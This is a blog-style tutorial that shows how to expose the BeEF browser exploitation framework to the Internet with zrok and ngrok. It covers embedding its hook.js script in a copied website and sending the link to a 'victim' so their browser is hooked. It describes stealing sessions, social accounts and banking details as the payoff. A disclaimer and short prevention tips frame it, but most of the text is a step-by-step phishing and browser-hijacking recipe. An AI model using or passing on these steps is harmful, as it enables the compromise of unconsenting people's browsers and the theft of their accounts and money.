Hack Any Browser With One Link

Disclaimer:

The information provided in this writeup is for educational purposes only. It is intended to demonstrate the potential vulnerabilities that may exist in web browsers and to raise awareness about the importance of cybersecurity.

Attempting to exploit or hack any browser, or any other software or system, without proper authorization may be illegal and unethical. The techniques described in this writeup should only be performed on systems that you own or have explicit permission to test.

BeEF (Browser Exploitation Framework)

BeEF, or Browser Exploitation Framework, is an open-source tool aimed at exploiting web browser vulnerabilities. It facilitates real-time interaction and control, serving the purpose of security testing. By leveraging various techniques, BeEF enables users to assess the security posture of web browsers and their users comprehensively.

Let’s Hack

Today we will learn how to hack any browser with single crazy link with the tool called Beef. You can find many resources for this one but believe me there are only few who will tell you how to achieve this on WAN or on Internet. So we will see how to do this not only on localhost but on WAN or Internet as well

So First we will download BeEF i will recommend you not to use in-built kali-linux BeEF

Download link- https://github.com/beefproject/beef.git

Open Terminal

Now Download Ngrok and setup that in your machine you can follow this reference to do so :-

With Ngrok installed You have to setup zrok as well which is similar to ngrok. Why do we need it ? we will see later. Download Zrok extract the binary file and save it inside /usr/local/bin/ or /usr/bin/.

Now follow the steps:-

You will receive one mail open the link setup your account then you will get one code from which you can enable your zrok from terminal to do that simply run

zrok enable <your-code>

Now open two terminals one for ngrok other for zrok and we will use both zrok to handle beef and ngrok with python server to handle exploits 😎😎😎.

Make sure you run this command in BeEF folder

Copy that zrok url that will look like this https://<something-here>.share.zrok.io

Go to the beef folder and edit config.yaml and paste that url in host option. By default these options are not there. Setup user and passwd in config.yaml to use beef.

Inside beef folder Run

sudo ./beef

Now visit to zrok url- https://<url>.share.zrok.io:443/ui/panel

enter your user and passwd defined in config.yaml.

Now Here comes the fun Part

Create one html file or you can copy your any favourite website. Right Now I am using themewagon.

Open index.html and scroll down to the last before </body> and create one script tag and paste the payload url https://<zrok-url>.share.zrok.io/hook.js in src of script like this

Open the tab go to the directory of the saved index.html and run both ngrok and python server on port 80 like below, make sure no other service is using port 80.

Copy the url and send it to the victim doesn’t matter where victim is in this world as soon as victim clicks the link

BOOM!! we got victim’s browser.

Both on pc or android doesn’t matter😂😂😂.

Victim POV :

Proof i am using my internet. Victim will think its a normal website and will continue with his/her business.

Note: That is how hacker can easily hack you. Hacker can do many stuffs while your browser got hooked from stealing your social account to stealing your banking details. Hacker can easily get all the sessions and can get unauthorized access. for eg. injecting xss to get your inputs like this

Why we used ngrok and zrok why not zrok alone for both beef and exploit?

We used zrok to only handle beef as it may block your scripts to hook browser with CORS policy. With ngrok user has to visit on the website first. There are couple ways to bypass CORS that we will see in another writeup.

Prevention :

Enough hacking let’s talk about prevention.

Do not click on any unwanted website or linkAlways use https stay away from httpAlways monitor url tab.Before Clicking on any link hover on the link to preview the url.Use malicious link scanner like https://www.ipqualityscore.com/ .

Lastly, if you come across any suspicious links, I encourage you to report them to Google Safe Browsing at https://safebrowsing.google.com/safebrowsing/report_phish/. By reporting suspicious links, you can contribute to keeping their database updated and help protect others from falling victim to phishing scams and malicious websites.

Conclusion:

In conclusion, the capabilities demonstrated by BeEF highlight the critical need for robust browser security measures and heightened cybersecurity awareness.

Ultimately, by staying informed, adopting best practices, and maintaining a proactive approach to cybersecurity, we can mitigate the risks associated with browser exploitation and ensure a safer online environment for all.

If you found this writeup informative and valuable, I invite you to connect with me on LinkedIn for more cybersecurity insights and discussions. Let’s work together to enhance our understanding of cybersecurity and promote a safer digital future.

Connect with me on LinkedIn — Vishal Chaudhary